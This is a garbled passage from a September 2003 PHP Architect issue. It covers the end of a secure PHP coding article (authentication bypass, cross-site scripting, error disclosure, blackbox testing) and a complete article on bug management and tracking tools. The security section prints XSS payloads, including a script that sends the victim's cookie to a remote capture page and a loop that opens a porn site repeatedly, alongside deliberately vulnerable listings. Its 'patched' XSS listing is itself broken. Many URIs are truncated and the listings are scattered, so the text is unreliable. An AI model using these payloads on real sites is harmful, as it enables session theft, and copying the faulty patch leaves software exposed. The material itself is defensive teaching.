An attacker could simply plug in another TFN to
view its details:
A sample vulnerability is shown in Listings 17
(the menu) and 18 (the resource).
A sample attack on that vulnerability might
look like the following:
By accessing the above URI, an attacker can
bypass the authentication applied by Listing 17,
and go straight to the resource (Listing 18) it was
designed to provide access to.
The best strategy to avoid these kinds of prob-
lems is to apply authentication at every individual
resource, so it can never be bypassed. In the pro-
duction world, your authentication would never be
as simple as the ‘if’ test used in Listing 17, so a con-
venient technique is to create an authentication
class and include it with every resource. These vul-
nerabilities are patched by Listings 19 (the authen-
tication class) and 20 (the protected resource).
Authentication and logic flaws in applications

can sometimes be located via blackbox testing
methods. The tester, using valid credentials,
authenticates to the application and interacts as a
normal user. At every point beyond the initial
authentication routine, the tester locates any GET
and POST variables, manipulates them using valid
data, and examines the output. Imagine that a

/>999999
/>231897
September 2003

PHP Architect

www.phparch.com
15
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //nopwrulespatched.php
4 if (ispwvalid($_GET[‘newpw’])) {
5 $fp=fopen(‘pw.txt’, ‘wb’);
6 fputs($fp, $_GET[‘newpw’]);
7 fclose($fp);
8 echo “New Password Set\n”;
9 } else {
10 echo “Specify Password\n”;
11 }
12

13 function ispwvalid($pw) {
14 // ensure that pw is 6 chars in length and contains
numbers
15 if (strlen($pw) < 6)
16 return false;
17 for ($i=0; $i<9; $i++) {
18 if (substr_count($pw, $i) > 0)
19 return true;
20 }
21 return false;
22 }
23
24 ?>
Listing 16
1 <?php //poorauthmenu.php ?>
2 <html>
3 <?php
4
5 if ($_GET[‘un’] == ‘user’ && $_GET[‘pw’] == ‘pass’) {
6 echo “<form>\n” .
7 “<input type=\”button\” value=\”Resource 1\”
8 onClick=\”location.replace
(‘poorauthresource.php?res=1’);\”>\n<br>\n”
9 . “<input type=\”button\” value=\”Resource 2\”
10 onClick=\”location.replace
(‘poorauthresource.php?res=2’);\”>\n<br>\n”
11 . “</form>\n”;
12 } else {
13 echo “Auth failed\n”;
14 }

15
16 ?>
17 </html>
Listing 17
1 <?php
2
3 //poorauthresource.php
4 if (!is_numeric($_GET[‘res’]))
5 die;
6 $fp=fopen(‘res’ . $_GET[‘res’] . ‘.txt’, ‘rb’);
7 fpassthru($fp);
8 fclose($fp);
9
10 ?>
Listing 18
regular (non-malicious) URI looks like this:
A blackbox tester might try the following:
In the above example, the user might expect to
receive an ‘unauthorized’ error message when
attempting to submit an alternate ‘startpg’ vari-
able. If authentication has only been applied to the
application portal page (and subsequent requests
are not being re-authenticated) an attacker may
be able to request arbitrary start pages.
Cross-Site Scripting
Many sites, such as message forums, allow a user
to enter content and post it to the site. This is usu-
ally handled using an SQL database to store mes-
sages and PHP code to add and render posts on
demand. If the contents of these messages are not

stripped for HTML tags and Javascript code, an
attacker can effectively inject client-side scripts
which will be run under the security context of the
message forum. This vulnerability, however, is not
limited to message forums. Any site where the
contents of user-defined variables such as
GET/POST variables, HTTP headers or cookies will
form part of the page returned can be vulnerable
to cross-site scripting, or XSS. As an example of
XSS outside of a classic message forum example,
take the following URI:
In this case, the q variable would be set to
“<script>alert(document.cookie);</script>”
.
This will run the Javascript code alert(docu-
ment.cookie); within the security context the
user has set for ninemsn.com.au. This will
expose the user’s cookie for the site. On a mes-
sage board this could well include a session id
token which could be replayed to hijack their ses-
sion. This could then be logged to a remote cap-
ture application using Javascript code such as:
A sample vulnerability is shown in Listing 21. A
sample attack on that vulnerability might look
like the following:
This would cause the “query” GET variable to
contain:
Accessing the above URL would cause
www.porn.com to be opened in a new window
100 times by a Javascript-enabled browser.

Defending against XSS is not just simply a matter
of stripping special characters as with SQL injec-
tion. Not accepting certain input may limit the func-
<script>for (i=0;i<100;i++;) {
window.open(‘ />} </script>
/>%3Cscript%3Efor+%28i%3D0%3B+
i%3C100%3B+i%2B%2B%29+%7B+
window.open%28%27http%3A%2F%2Fwww.
porn.com%2F%27%29%3B%7D+
%3C%2Fscript%3E
<script>window.open(‘
/capture.php?cookie=’ +
document.cookie);</script>
/>q=%3Cscript%3Ealert%28document.
cookie%29%3B%3C%2Fscript%3E&FORM=
SMCRT
/>startpg=10169&lang=en
/>startpg=10167&lang=en
September 2003

PHP Architect

www.phparch.com
16
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //auth.inc
4 class auth {

5
6 var $isvalid;
7
8 function auth($un, $pw) {
9 if ($un == ‘user’ && $pw == ‘pass’)
10 $this->isvalid=true;
11 else
12 $this->isvalid=false;
13 }
14 }
15
16 ?>
Listing 19
1 <?php
2
3 //poorauthresourcepatched.php
4 include(‘auth.inc’);
5 $authobj = new auth($_GET[‘un’], $_GET[‘pw’]);
6 if (!$authobj->isvalid)
7 die;
8 if (!is_numeric($_GET[‘res’]))
9 die;
10 $fp=fopen(‘res’ . $_GET[‘res’] . ‘.txt’, ‘rb’);
11 fpassthru($fp);
12 fclose($fp);
13
14 ?>
Listing 20
1 <?php
2

3 //xsssearch.php
4 echo “You searched for “ . $_GET[‘query’];
5
6 ?>
Listing 21
tionality of the site. A better strategy is to parse
user-defined inputs after they have been used by
the PHP script, but before being returned as part of
the response, to replace ‘<’ and ‘>’ characters with
‘&lt;’ and ‘&gt;’ respectively. This will prevent
‘<script>’ or other tags from being injected. Listing
21 is patched using this technique in Listing 22.
Cross-site scripting vulnerabilities are generally
quite easy to locate using blackbox testing meth-
ods. The tester examines all GET and POST vari-
ables to determine if any of these values are being
returned within page outputs. In the example
below, the tester can safely assume that the con-
tents of the Title variable will be used somewhere
within the returned page. Imagine that a regular
(non-malicious) URI looks like this:
The tester inserts HTML special characters (<>)
into the Title variable and resubmits the request.
If the injected HTML can be found within the
returned page, then this application is vulnerable
to cross-site scripting. In this case, if the Title
value is being used directly between <title> and
</title> tags, without filtering of <> characters,
additional HTML and Javascript can be injected
into the returned page.

Environment Information Disclosure
By default, PHP displays all warnings and errors.
These frequently contain verbose information per-
taining to the operating environment, such as file
paths, database credentials and configuration
details. A sample vulnerability is shown in Listing 23.
A sample attack on that vulnerability might
look like the following:
If an attacker runs the above URI when the
database server is down and
/mnt/data/file1.txt is not available, the fol-
lowing error (with HTML removed) will be given
by PHP:
This discloses both the name of the database
server and the path from which the script is read-
ing files. Although this does not open the site to
any specific attack, it is not good security prac-
tice to disclose this kind of information
The best strategy to prevent this is to disable
error reporting on production sites and reserve it
for development use. This is best implemented
in php.ini but is illustrated using the
error_reporting()
function in Listing 24.
The blackbox tester inserts special characters
into all identified GET and POST variables in an
attempt to elicit exception conditions from the
application. Errors from failed include(),
popen(), fopen() and DB-related calls can be
extremely informative and may assist the tester

in identifying further vulnerabilities. Imagine
that a regular (non-malicious) URI looks like this:
Let’s look at what we get if we change the
query string a little, as follows:
/>1234abc’%;

Warning: Unknown MySQL Server Host
‘dbserver.server.com’ (2) in
C:\PHP\phparch\env.php on line 2
Warning: MySQL Connection Failed:
Unknown MySQL Server Host ‘dbserver.serv-
er.com’ (2) in C:\PHP\phparch\env.php on
line 2
Warning: fopen(“/mnt/data/file1.txt”,
“rb”) - No such file or directory in
C:\PHP\phparch\env.php on line 3

/>1234&Title=</title><h1>TESTING</h1>
/>1234&Title=Annual%20Report
September 2003

PHP Architect

www.phparch.com
17
FFEEAATTUURREESS
Secure PHP Coding
1 <?php
2
3 //xsssearchpatched.php

4 $q=str_replace(‘<’, ‘&lt;’, $_GET[‘query’]);
5 $q=str_replace(‘>’, ‘&gt;’, $_GET[‘query’]);
6 echo “You searched for “ . $q;
7
8 ?>
Listing 22
1 <?php
2
3 //envdisclosure.php
4 error_reporting(E_ALL);
5 $conn=mysql_connect(‘dbserver.server.com’, ‘user’, ‘pw’);
6 $fp=fopen(‘/mnt/data/file1.txt’, ‘rb’);
7
8 ?>
Listing 23
1 <?php
2
3 //envdisclosurepatched.php
4 error_reporting(0);
5 $conn=mysql_connect(‘dbserver.server.com’, ‘user’, ‘pw’);
6 $fp=fopen(‘/mnt/data/file1.txt’, ‘rb’);
7
8 ?>
Listing 24
The server’s response could be as follows:
Secure Coding Methodology
The key to coding secure web applications in PHP
is to be aware of the potential flaws that your code
may be vulnerable to, and be attentive in prevent-
ing these flaws throughout the entire develop-

ment process. Too often security is an after-
thought or added feature. The most secure code
is written with security in mind from the word ‘go’.
Testing Methodology
The blackbox testing method is where a security
professional attempts to expose flaws in an
application. The term ‘blackbox’ refers to the
closed-source or proprietary application, and the
process of manipulating known inputs and ana-
lyzing outputs from the application.
In blackbox testing PHP code, the tester exam-
ines the application and identifies all of the
expected GET and POST variables, including hid-
den and dynamically-generated variables. These
variables are then manipulated using potentially
“unexpected” values – such as special characters
and type-mismatched or oversized requests. In
most cases, the PHP applications’ expected inputs
can be identified by reading all available HTML
source pages, and/or capturing and decoding
valid requests.
As an example, examine the following URI:
In the above example, the GET variables that
should be manipulated and tested are ID, title
and lang.
As another example, examine the form in
Listing 25. Here, the POST variables to be test-
ed are ‘sid’, ‘listid’ and ‘usermail’.
The tester inserts special characters into each
of these inputs, and submits the request. Output

is analyzed to determine if the application han-
dled the input correctly, or if some unexpected
error has occurred.
Manipulated POST variables can be submitted
using a command-line tool such as lynx or curl,
or a copy of the form input page can be saved
and modified locally. Manipulated GET variables
can be submitted using a regular browser.
Unexpected behavior may take the form of
half-loaded or blank pages, or a redirect to a
front page. If the application displays an error
message, the tester can determine if it is vulner-
able to any of the common PHP coding errors
detailed in this article.
Conclusion
Web applications are, in security terms, a different
ball game from conventional applications. The
communication protocols, server-side application
code and client-side presentation code combine to
form a development environment in which bugs
can make use of problems in various components
of the technology simultaneously. To compound
this problem, web technology was originally
designed to handle the public dissemination of
markup documents, not the development of
secure applications. This is slowly being rectified,
but the developer must remain astute to security
concerns if he is to produce secure applications.
Hopefully what has been outlined above can assist
in the creation of more secure web applications.

/>Updates&lang=en
Warning: Supplied argument is not a valid
MySQL-Link resource in
/www.example.com/cgi-bin/index.php on
line 46
Warning: MySQL Connection Failed: Unknown
MySQL Server Host ‘sql.example.com’ (2)
in /www.example.com/cgi-bin/index.php on
line 45
September 2003

PHP Architect

www.phparch.com
18
FFEEAATTUURREESS
Secure PHP Coding
About the Author ?>
Click HERE To Discuss This Article
/>David works as a document imaging and OCR programmer
for a small Australian company. He spends his spare time
writing PHP code and studying environmental science.
1 <form action=”subscribe.php” method=”POST”>
2 <input type=”hidden” name=”sid” value=”666”>
3 <input type=”hidden” name=”listid” value=”1024”>
4 Email:<input type=”text” size=”100” name=”usermail”>
5 <input type=”submit” value=”subscribe”>
6 </form>
Listing 25
What is a bug?

It all started in 1945 at Harvard University, while
testing the Mark II Aiken Relay Calculator for mal-
function. A moth was found trapped between two
electrical relays. Operators removed the moth and
entered the log entry “First actual case of bug being
found.” They said that they had “debugged” the
machine and the term “debugging a computer pro-
gram” was introduced.
Anyone who has ever used any kind of software
is familiar with the term “bug”. But before we pro-
ceed further with our story, we should make it
clear what we mean by this term. Classic definition
of the bug is that it is an error in software code that
causes the program to malfunction. We must be
careful with this, however, because it is very close-
ly related to the requirements of our project. We
can’t tell that something is not working properly
unless we know the desired behavior. Some users
for example, can interpret lack of certain function-
ality as a bug. Because of this thin line between
bugs and functionality, it is a good practice to do
request tracking along with the bug tracking
process, as we will see later in the text. We will
introduce a new term (issue), to describe both
bugs and feature requests.
The layman would say that bugs in software are
only the result of programmer carelessness, but
anyone who has ever worked on a large software
project knows that is not always true. Sometimes
projects are so complicated that a minor change in

one module could produce an unexpected disaster
where it is least expected. There are many software
techniques that model how to take your software’s
quality to a higher level, but that is way beyond the
scope of this article. Here, we will try to concentrate
on how to keep track of the bugs (and requests) in
your project. We will also learn how to organize the
development process so that most of the malfunc-
tions in the software code are detected before final
release and not by your customers.
Life cycle of a bug
The first thing you will always hear when discussing
software testing and quality assurance is that the
person who implements the code should not be the
person who is testing it. There are few reasons for
this statement. The first is that the person who is
actually writing the code has his own mindset and
cannot see the certain flaws in the design even if he
looks at it for a very long time. Another person, who
is actually only looking at the code’s behaviour, can
easily spot things that the original writer missed.
The second argument is rather psychological; the
tester should act destructively against the code,
which is very hard to do with your own work. We
won’t go deeper into details about software testing,
September 2003

PHP Architect

www.phparch.com

19
FEATURE
Introduction to Bug Management
by Dejan Bosanac
PHP: 4.0+
OS: N/A
Applications: N/A
Code Directory: N/A
REQUIREMENTS
that could be the topic of some future article, but
this story is very important in establishing roles in
our bug management process. Three roles are nec-
essary for successful bug tracking:
• Developer – person who actually writes
code and fixes bugs
• Tester (QA staff) – person who tests the
code and writes bug reports. This per-
son, as we will see later, also verifies
that the certain bug is fixed
• Project manager – person who assigns
certain properties to bugs (like we are
going to see in the next section) and
assigns them to developers for fixing
The bug life cycle would look like this: quality
assurance person finds the bug and submits the
bug report. Project manager reviews every bug
report. If he finds that the bug is valid, he assigns
some attributes to the bug and assigns it to the
appropriate developer. The developer than fixes
the bug and assigns it to QA for verification. QA

repeats the tests on a requirement and the bug
gets closed or reopened depending on the prob-
lem’s presence in the system.
Anatomy of a bug
Now is a good time to see what bug attributes we
need in order to successfully track our bugs.
Components
Components help us to partition and decou-
ple the whole project implementation and
also make it easier to find who is in charge of
the particular code base. You can divide the
project vertically by encapsulating all the
code that is solving the same problem
domain (business logic) into a component
(financial classes, address book and so on) or
horizontally by making components of the
particular application layers. Or you could do
both. There are no strict rules. You should find
the scheme that best suits your needs. For
example, we could introduce the following
components for tracking bugs in the project:
• Presentation layer – all bugs that are
related to the user interface such as
HTML code, client side code (JavaScript),
etc.
• Business layer – malfunctions in busi-
ness scripts and classes
• Data access layer – bugs in Data Object
classes, SQL queries, database wrappers
and so on

So when QA reports the bug, the component
attribute should address a certain project
subsystem in order to make it easier for the
project manager to assign it later.
Owner
Owner is the person who is responsible for
the bug in some of the bug cycles. It could
be a developer that is responsible for fixing
the bug or a QA team member that should
verify that a bug is really fixed. This way it is
much easier for the project manager to see
what bugs are currently unassigned and
assign them appropriately.
Severity
Severity is another important bug attribute
that tells us how serious our bug is. Some
common values are:
• Stopper – This kind of bug is stopping
either the client in software usage or
further development (e.g. crashes, bugs
in database wrapper that disables the
whole project from connecting to data-
base, etc.)
• Critical – serious bug that causes heavy
program malfunctions (e.g. bug in a
core library that causes other subsys-
tems to act unstable)
• Major – ‘major’ bugs make our software
unreliable and can cause serious dam-
age to us or our clients (e.g. bad data

calculation in some cases that makes
the data unreliable)
• Normal – bugs that are not serious but
are unpleasant to our clients (e.g. bro-
ken links in pages)
• Minor – small bugs that are not crucial
for core program execution, but should
be fixed in order to make better quality
of the product (e.g. bad label for a form
field)
QA submit bug report
Project manager reviews the bug
report and assigns it if necessary
Bug gets closed
Developer fixes the bug
QA verifies that bug is fixed
Bug Life Cycle
September 2003

PHP Architect

www.phparch.com
20
FFEEAATTUURREESS
Introduction to Bug Management
• Enhancement – this is not a real bug,
but a request for a new feature
Priority
Priority is the attribute that is assigned by
the project manager and helps developers

organize their tasks. It’s a common practice
to have five priority levels and the bugs with
higher priorities should be fixed first.
Status
Status is directly connected with bug life
cycle. It tells us in what stage of the bug
cycle our bug currently resides. Some com-
monly used values are:
• New – bug has been reported, but not
yet reviewed
• Assigned – bug has been reviewed by
project manager and assigned to par-
ticular developer
• Fixed – bug has been fixed by develop-
ment team and has to be reviewed by
QA
• Verified (Closed) – QA has verified that
the bug has been fixed
• Reopened – QA have run tests against
the bug that was marked as fixed, and
some problems still remain, so it is sent
back to development for further repair
• Duplicated – this bug has already been
reported
• Won’t fix – these are so called “known
bugs” that are not going to be fixed in
this development cycle, mostly because
of a great risk involved in fixing the bug
or the required time for that job
• Invalid – Problem that is reported is not

a bug
• Works for me – Problem that has been
reported couldn’t be reproduced so it is
put in the repository for later analysis
Subject
Every bug report should have a subject
attribute for easier browsing and querying.
Milestone
The software development process is often
divided into smaller iterations called mile-
stones. We should keep track of the project
milestone that a bug has been reported to
and for which it has to be fixed. We can
demonstrate this by imagining that we have
delivered version 1.2 of the project to the
client and continued to work on the next
release (1.3). We need a way to separate
bugs that are reported to these two versions
because it is often a completely different
code base.
Comments
Comments are a very important and useful
attribute of the bug. We should always allow
our team members to enter an unlimited
number of comments to the bug. Doing so
will allow us to keep track of the communi-
cation and history of the bug. An initial com-
ment for the bug could be a description of
the problem that QA (or the client) has
found in our software.

Attachment
In some development organizations a very
limited number of developers can commit
changes to the code repository. In this case,
the bug’s attachment attribute is used to add
patches of code that fixes bugs. Attachment
can also be used for many other purposes
like screen shots, test cases and all material
that helps to document the bug properly.
The bug attributes described above are just a
small subset of commonly used attributes in the
project. You should, of course, adjust these
attributes to the specifics of your individual proj-
ect and process. Some additional attributes that
can be useful to describe the bug are web brows-
er (particularly interesting for web application
development), URL of the page in which bug
appears, operating system (for platform specific
problems) and many, many more.
Now that we know how to define our bugs, we
should mention the process of collecting new
feature requests for our project. This process is
sometimes very closely related to the bug man-
agement process. When we were talking about
the bug status attribute earlier, we said that
special status could be introduced to separate
the bug from a request for enhancement (RFE).
Basically a feature request could have a very
similar structure to the bug report and, since
many bug tracking tools support this functional-

ity, it is natural (to some point) to keep track of
enhancement requests in the same repository
as bugs.
Bug reports
OK, we have now discussed some basic informa-
tion about the structure and life cycle of bugs.
This information, however, is not enough for a
successful bug tracking process. In order to
make your process efficient, the QA department
September 2003

PHP Architect

www.phparch.com
21
FFEEAATTUURREESS
Introduction to Bug Management
needs to supply useful bug reports to the devel-
opment team. The more information developers
have to work on, the sooner the bug will be
traced and fixed.
When submitting a bug report, there are a few
things to keep in mind. First things first, a basic
rule in any bug tracking process is to always try
to repeat the bug before submitting the report.
This is very important because some bugs occur
only under very specific circumstances and envi-
ronment settings. You must be sure that you
know the specific environment variables and
steps that lead to the malfunction that you are

going to submit. Of course, some bugs are
almost impossible to trace, but even then you
should make it easier for the developer by point-
ing him to all of the things that failed to repeat
it. That way we can save some time by not dupli-
cating effort, and it gives certain clues to the
development team about what could be the
problem.
Let’s take a look now at what makes a good
report. We can start by showing one bad example
and go through to see how to make it better. Let’s
say that a report like this is submitted:
When a developer gets a message like this, the
only thing he knows is that some problem exists in
the process of adding a new customer. He can’t
begin fixing the problem without actually contact-
ing the person that submitted this report because
he hasn’t a clue where to start. So, the usual ques-
tions end up being asked: What error was dis-
played? What data did you submit? On what page
did the error occur? In 99% of the cases, the sub-
mitter doesn’t remember all the details because it
was a “century” ago, and we’re trapped in an infi-
nite loop. But, if we use another approach and
submit a report like this, everything could be very
different:
• Operating system: Windows XP
• Browser: Mozilla 1.3
• URL:
eurl/1/customer_add.php

• Component: Address book
• Version: 1.0
• Subject: Add a new customer
• Brief description: submitting of a new customer
with the regular data failed
• Steps:
Log in
Click the link to the address book
Click” Add new customer” button
Enter the data (see “data” section)
Click “Save changes” button
• Data:
Name: Dejan Bosanac
Email:
Title: Software developer
All other fields: empty (default)
• Expected results: The data is submitted to the
database and “view” page for the customer is
displayed
• Actual results: Error page with a message “Error
executing SQL query: phone_number field cannot
be NULL”
• Conclusion: Problem is probably in bad JS valida-
tion for phone number field under Mozilla browser
With a report like this, the developer could spot
the problem in a moment and fix it. Most of the
fields (attributes) in this report have been
described in the basic bug anatomy, so it is likely
that your bug-tracking solution will support them.
All the specific data of the problem should be put

as the comment or the attachment to the bug. We
can now summarize what a good report should
consist of:
1. Brief description of the problem
2. Environment under which problem
occurs
3. Steps needed to reproduce the problem
4. Specific inputs that caused the problem
5. pected and actual results
6. Summary of what the problem could be
Of course, details of the each step depend on
what the specific problem is. For example, if the
bug is found during unit testing, input data
should be the test case that caused the bug (you
can attach the test class that caused the bug, if
you want). Or, in another extreme case, if it is a
visual (cosmetic) bug, all you have to submit is
how to enter the specific page and what is wrong
(environment-specific data is always useful). A
general rule is that the more complex the prob-
lem is, the more information the developer is
going to need.
Bug tracking and development cycles
For successful bug and request tracking there are
a few more issues that you must keep in mind.
The development cycle plays a key role in how the
process is handled. It can be divided into three
sections:
• Development - implementation of the
system functionality, resulting in huge

When I inserted some customer data and
clicked on the “Save changes” button, an
error page was displayed.
September 2003

PHP Architect

www.phparch.com
22
FFEEAATTUURREESS
Introduction to Bug Management
changes to the codeset
• Code freeze – software has entered beta
testing phase and code is usually frozen
• Release planning – preparations for the
next project release are under way
In order to have an efficient development
process, we will look at how to use the bug-track-
ing system in each of these phases.
In the development phase, good practice dictates
that developers create test cases at the same time
they write the code. A test case is code that is writ-
ten to test certain functionality and to report the
error if it is found. This way, we will actually have
the confirmation that the software is doing the job
for which it is meant. These test cases are normal-
ly grouped in a test suite that is executed regularly
(preferably every night). This type of testing is
called regression testing. We will not get into this in
this article, but it is important to mention it because

it affects the bug tracking process itself. Some
authors say that in this stage of development we
should not use a bug-tracking system as a reposi-
tory for bug issues, as our test suite would keep this
information for us. The would advise, though, to
use a bug-tracking system for storing features that
will be introduced later in the process.
While this may true to some point, some errors
cannot be detected with regression testing. Defects
that are found during code reviews, user experi-
ence issues, and visual defects are just some of the
bugs that we must handle outside of a test suite.
So, my opinion is that in this phase we shouldn’t
really submit duplicate reports to the system, but
all the other issues that are reported during testing
should be stored. If we don’t do this, we can easi-
ly forget about them until it is too late. Of course, if
you don’t have automated testing introduced into
your process, you should keep all the issues this
way. Feature requests are always good to be stored
in the system for later analysis.
In the code freeze (beta testing) phase, the code
is usually frozen and no immediate changes can
be done. Now, we should keep track of all found
malfunctions so that they can be fixed before the
final release. It is also convenient to keep track of
a user’s feature requests (usually beta testers are
potential future users). At this point, we should
introduce a request “grade”. In other words, we
should keep track of how many requests we have

for each feature, so we can easily separate the
must-have features from the eccentric ones.
When you are ready to start planning the next
release, you could use the information stored in
your tracking system. According to the request
grade you can decide what features will become
part of the next release. One more thing is impor-
tant in this stage: you must estimate the effort
needed to implement certain features. For exam-
ple, if some feature is a must-have feature and it
requires minor code changes, then it should defi-
nitely be planned for the next release. In the case
where the feature implementation requires huge
code refactoring and involves great risk, you
should think of delaying those features to some
future release.
When you have specifications for future releas-
es, you should build the test cases for them and
mark those requests as closed (remove them from
the system).
Bug tracking tools
To start implementing organized bug management
in your organization, you merely need concrete
bug-tracking software. You could use a well-defined
sheet in Excel-like software. You will soon see, how-
ever, that it would be much more efficient if you
had just a little more. Many companies decide to
build their own solutions, often seriously underesti-
mating the effort for such a task. Many start with no
clear idea of what they really want or need, and

start coding a solution with minimal requirements.
Soon after, they realize that maintenance and
improvements to the solution are not cost effective
by any means, and that costs of later porting to
some commercial solution are much higher then it
would have be in the start. Even if you have a small
budget, it is not really hard to find a free solution in
today’s open source software initiative. Many of
these solutions will save you enormous time and
manpower compared to building your own solution.
That way, your developers can focus on building
the project that needs the bug tracking process and
not the particular tool itself.
So, let’s start talking about what the defect-
tracking tool needs to provide you.
How to choose
the right tool for you?
Before starting your search for a bug-tracking
tool, you should have a clear vision of your bug
tracking process so you can choose the tool that
will have all the necessary requirements to meet
your needs. Let’s divide the requirements into two
basic groups: business requirements and techni-
cal requirements.
Business requirements
First of all, you should fit the tool into your current
company profile and budget. There are various sys-
tems on the market with a wide price range, so you
should start by positioning yourself into a group
September 2003


PHP Architect

www.phparch.com
23
FFEEAATTUURREESS
Introduction to Bug Management
that you can currently afford. If your budget is
small, don’t worry, there are many very nice open-
source solutions. There are also companies that
allow you to outsource this service to them for a
reasonable amount.
Second, you should know who the users of the
bug management system will be, and if they have
any specific needs. You will also need to be aware
of how many users will be using the system, as
well as their locations. The price of the bug man-
agement tool is often related to this information.
You can divide users into two large groups.
Internal users
• QA staff will submit and query reports to
find bugs that need to be verified
• Developers will query reports to find
assigned tasks
• Project manager will query reports to
find unassigned bugs, and also run met-
rics on the data
External users
• Customers
• Clients

• Beta Testers
External users may like to submit enhance-
ment requests or bugs, and see the progress and
status of certain issues. In this case, you will
probably be searching for a tool that can be
exposed to the web for external (and, of course,
internal) users. This leads us to the question of
security. Does the potential tool allow the cre-
ation of groups of users, as well as the separa-
tion of their privileges on actions and data? We
might want to only allow external users to query
a small subset of all issues (for example, only
those that they have entered), and allow them
only to submit new reports, but not allow them to
modify existing data. We could, of course, enable
only some groups to submit reports, but I think
that it would be better to allow all users to sub-
mit, as fewer bugs will be missed that way. We
could also expect that only project management
staff could change details such as severity and
priority. All of these decisions are up to you.
Usability of the system is another important
parameter. Does the potential tool define the bug
workflow that you need? Could it be configured?
Does the bug submission form have all of the
attributes that you need? Could it be configured?
It is very important for the tool to be easy to use,
as that will minimize the resistance to the tool by
team members that may jeopardize the whole
process. You should also consider whether the tool

supports various methods of notification when a
bug status changes. Does the software send
email, SMS messages, or have any other
advanced techniques for notification. You may
want the project manager to be immediately noti-
fied when a new critical bug report arrives, or you
could enable your customers to be alerted when a
certain bug is fixed.
Administration concerns are the last issue that
we will mention for the business requirements. We
should know if we have someone who has skills
that are needed for successful deployment, con-
figuration, and maintenance of the system and
how much time it is going to take aside from their
regular duties. If this is a problem, then employing
another person for this task must be considered.
The administration of the bug management tool is
usually the responsibility of project and
network/database administrators.
Technical requirements
Technical requirements for defect tracking soft-
ware are basically the same as for all other soft-
ware products.
• Reliability – software is stable and takes
care of data consistency
• Robustness – software behaves well in
extreme conditions and large data vol-
umes
• Programmability – software has an appli-
cation programming interface (API)

through which it can be extended to
your particular needs
• Security – software gives needed securi-
ty for the data and has no security flaws
that can be easily exploited
• Supportability – software vendor gives
fair technical support for their product
• Scalability – software is adaptable to
your particular needs
These are just basic technical concerns. You
should also consider your current environment
and skills. For example, does the product support
database servers that you are comfortable with
(MySQL, Sybase, Oracle, etc.)? Does the server
code (in client/server and web-based solutions)
suit your current development environment
(Linux, Windows 2000, …), or will you need to pre-
pare a new server for it? There are many factors
to consider when choosing the perfect solution.
Just one tip for the end, you should actually try
every solution that seems to suit, since you
won’t necessarily find the flaws just by reading
the product specification.
September 2003

PHP Architect

www.phparch.com
24
FFEEAATTUURREESS

Introduction to Bug Management
Some popular solutions
As I said before many software packages are built
for this specific need. We will mention two com-
mon ones - the further hunt is up to you.
• Bugzilla
(http://www
.mozilla.org/projects/bugzilla/) –
this product has its genesis in the open-
source Mozilla web browser. It is written in
Perl to replace an old bug tracking system
used internally for Netscape
Communications. It quickly became the de-
facto standard in the open source commu-
nity, so you can see it in action on many
projects on the web. Unix-like environments
are natural for this software, and it is very
well integrated with MySQL (but that’s the
only database server that is currently sup-
ported). The source code comes under a
mix of various licence policies that include
the Netscape Public License (NPL), the
Mozilla Public License (MPL), the GNU
General Public License (GPL) and the GNU
Lesser General Public License (LGPL). Some
features worthy of note:
– Integrated, product-based granular
security schema
– Inter-bug dependencies and dependen-
cy graphing

– Advanced reporting capabilities
– A robust, stable RDBMS back-end
– Extensive configurability
– A very well-understood and well-
thought-out natural bug resolution
protocol
– Email, XML, console, and HTTP APIs
– Available integration with automated
software configuration management
systems, including Perforce and CVS
(through the Bugzilla email interface
and checkin/checkout scripts)
There are also some drawbacks that will
be addressed in the future:
– Reliance on only single database server
(MySQL)
– Rough user interface
– Spartan email notification templates
– Little report configurability
– Some unsupported bug statuses
– Little support for internationalisation
– Dependence on some non-standard
libraries
• Elementool (
) - It is
possible these days to outsource your bug
tracking to some other company. It is very
convenient in situations when you don’t have,
or can’t afford, more time and resources for
the solution. All you need is a few minutes to

set-up your account using your web browser,
and you are ready to start. Also, this is an
ideal solution for one-off projects because you
can cancel your account at any time with no
obligations. With this approach you don’t
have any concerns regarding installing and
updating your software, since you will always
have the latest version ready for use.
Their basic free package includes:
– 200 issue storage capacity
– Unlimited number of users
– Mail notifications
– Downloadable database for your own
backup
For extra features like reports, history trail,
customisable forms and so on, you must reg-
ister for an advanced, commercial package.
These are just representatives of two approach-
es, you should really spend some more time to
find a perfect solution for your needs.
Closing word
The aim of every professional software package is
a satisfied customer. If you have an organized
process for tracking bugs and feature requests in
your project, you can be sure that less bugs will be
detected by customers, and that the time cycle
needed to fix those bugs (and track down new
requirements) will be noticeably shorter. There are
many tools available on the market that could
help you organize your defects and requirements,

but, before you start tracking them, be sure that
you know what you need. Bug tracking is closely
related to quality assurance issues and team
organization, so it is important to start from there.
Just try it; it’s easier than it sounds.
September 2003

PHP Architect

www.phparch.com
25
FFEEAATTUURREESS
Introduction to Bug Management
About the Author ?>
Click HERE To Discuss This Article
/>Dejan Bosanac works as a fulltime software developer for DNS Europe
Ltd () on the Billing software system for
ISP's. In his spare time he also serves as a Lead Engineer at
Noumenaut Software() on the online jour-
naling project. He holds a Bachelor degree in Computer Science and
currently is on the master studies in the same field.

Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×